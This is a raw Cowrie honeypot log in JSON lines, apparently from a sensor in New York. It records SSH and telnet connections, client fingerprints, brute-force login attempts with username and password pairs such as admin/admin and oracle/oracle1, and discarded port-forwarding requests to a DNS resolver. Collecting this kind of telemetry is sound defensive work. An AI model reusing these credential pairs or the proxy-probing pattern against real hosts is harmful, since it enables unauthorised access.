{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":38258,"dst_ip":"10.17.0.5","dst_port":22,"session":"47b1e302e3d7","protocol":"ssh","message":"New connection: 80.66.85.226:38258 (10.17.0.5:22) [session: 47b1e302e3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:08.583588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:08.589622Z","src_ip":"80.66.85.226","session":"47b1e302e3d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:08.678391Z","src_ip":"80.66.85.226","session":"47b1e302e3d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29011989","message":"login attempt [root/29011989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:08.950235Z","src_ip":"80.66.85.226","session":"47b1e302e3d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:10.040527Z","src_ip":"80.66.85.226","session":"47b1e302e3d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":14206,"dst_ip":"10.17.0.5","dst_port":22,"session":"056b2f47e513","protocol":"ssh","message":"New connection: 176.53.159.196:14206 (10.17.0.5:22) [session: 056b2f47e513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:11.013845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:11.017985Z","src_ip":"176.53.159.196","session":"056b2f47e513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:11.120206Z","src_ip":"176.53.159.196","session":"056b2f47e513","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:11.422574Z","src_ip":"176.53.159.196","session":"056b2f47e513","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:11.530500Z","session":"056b2f47e513","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:11.641819Z","src_ip":"176.53.159.196","session":"056b2f47e513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:11.745292Z","src_ip":"176.53.159.196","session":"056b2f47e513","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:26.386247Z","src_ip":"138.68.243.18","session":"0904a3184384","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:26.421817Z","src_ip":"138.68.243.18","session":"0904a3184384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":44164,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f7ffb3804a0","protocol":"ssh","message":"New connection: 162.241.132.172:44164 (159.203.135.109:22) [session: 5f7ffb3804a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:28.254830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:28.258354Z","src_ip":"162.241.132.172","session":"5f7ffb3804a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:28.280930Z","src_ip":"162.241.132.172","session":"5f7ffb3804a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"belarus","password":"Minsk#Crypto@S3cur3","message":"login attempt [belarus/Minsk#Crypto@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:28.350703Z","src_ip":"162.241.132.172","session":"5f7ffb3804a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:29.376036Z","src_ip":"162.241.132.172","session":"5f7ffb3804a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":39682,"dst_ip":"159.203.135.109","dst_port":23,"session":"91a87032c1f9","protocol":"telnet","message":"New connection: 143.198.154.150:39682 (159.203.135.109:23) [session: 91a87032c1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:30.326897Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":36400,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4522189fa17","protocol":"ssh","message":"New connection: 91.92.40.10:36400 (10.17.0.5:22) [session: b4522189fa17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:41.762696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:41.797441Z","src_ip":"91.92.40.10","session":"b4522189fa17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:41.864954Z","src_ip":"91.92.40.10","session":"b4522189fa17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"admin","message":"login attempt [apache/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:42.213915Z","src_ip":"91.92.40.10","session":"b4522189fa17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:43.408444Z","src_ip":"91.92.40.10","session":"b4522189fa17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":60930,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5aeccd52b79","protocol":"ssh","message":"New connection: 103.98.149.87:60930 (10.17.0.5:22) [session: e5aeccd52b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:54.478997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:54.482805Z","src_ip":"103.98.149.87","session":"e5aeccd52b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:54.702941Z","src_ip":"103.98.149.87","session":"e5aeccd52b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:55.557659Z","src_ip":"103.98.149.87","session":"e5aeccd52b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:09:56.779776Z","src_ip":"103.98.149.87","session":"e5aeccd52b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":59066,"dst_ip":"159.203.135.109","dst_port":23,"session":"68079d190b46","protocol":"telnet","message":"New connection: 137.184.5.188:59066 (159.203.135.109:23) [session: 68079d190b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:16.616663Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":17092,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b854312c010","protocol":"ssh","message":"New connection: 176.53.159.196:17092 (159.203.135.109:22) [session: 8b854312c010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:20.758884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:20.769329Z","src_ip":"176.53.159.196","session":"8b854312c010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:20.874465Z","src_ip":"176.53.159.196","session":"8b854312c010","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:21.338541Z","src_ip":"176.53.159.196","session":"8b854312c010","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:21.444794Z","session":"8b854312c010","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:21.549332Z","src_ip":"176.53.159.196","session":"8b854312c010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:21.654493Z","src_ip":"176.53.159.196","session":"8b854312c010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.710163831710815,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:34.036898Z","src_ip":"143.198.154.150","session":"91a87032c1f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":48018,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e84e52e323c","protocol":"ssh","message":"New connection: 91.92.40.176:48018 (10.17.0.5:22) [session: 1e84e52e323c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.385780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.389536Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.469881Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle1","message":"login attempt [oracle/oracle1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.720766Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:10:57.917855Z","src_ip":"91.92.40.176","session":"1e84e52e323c","protocol":"ssh"}
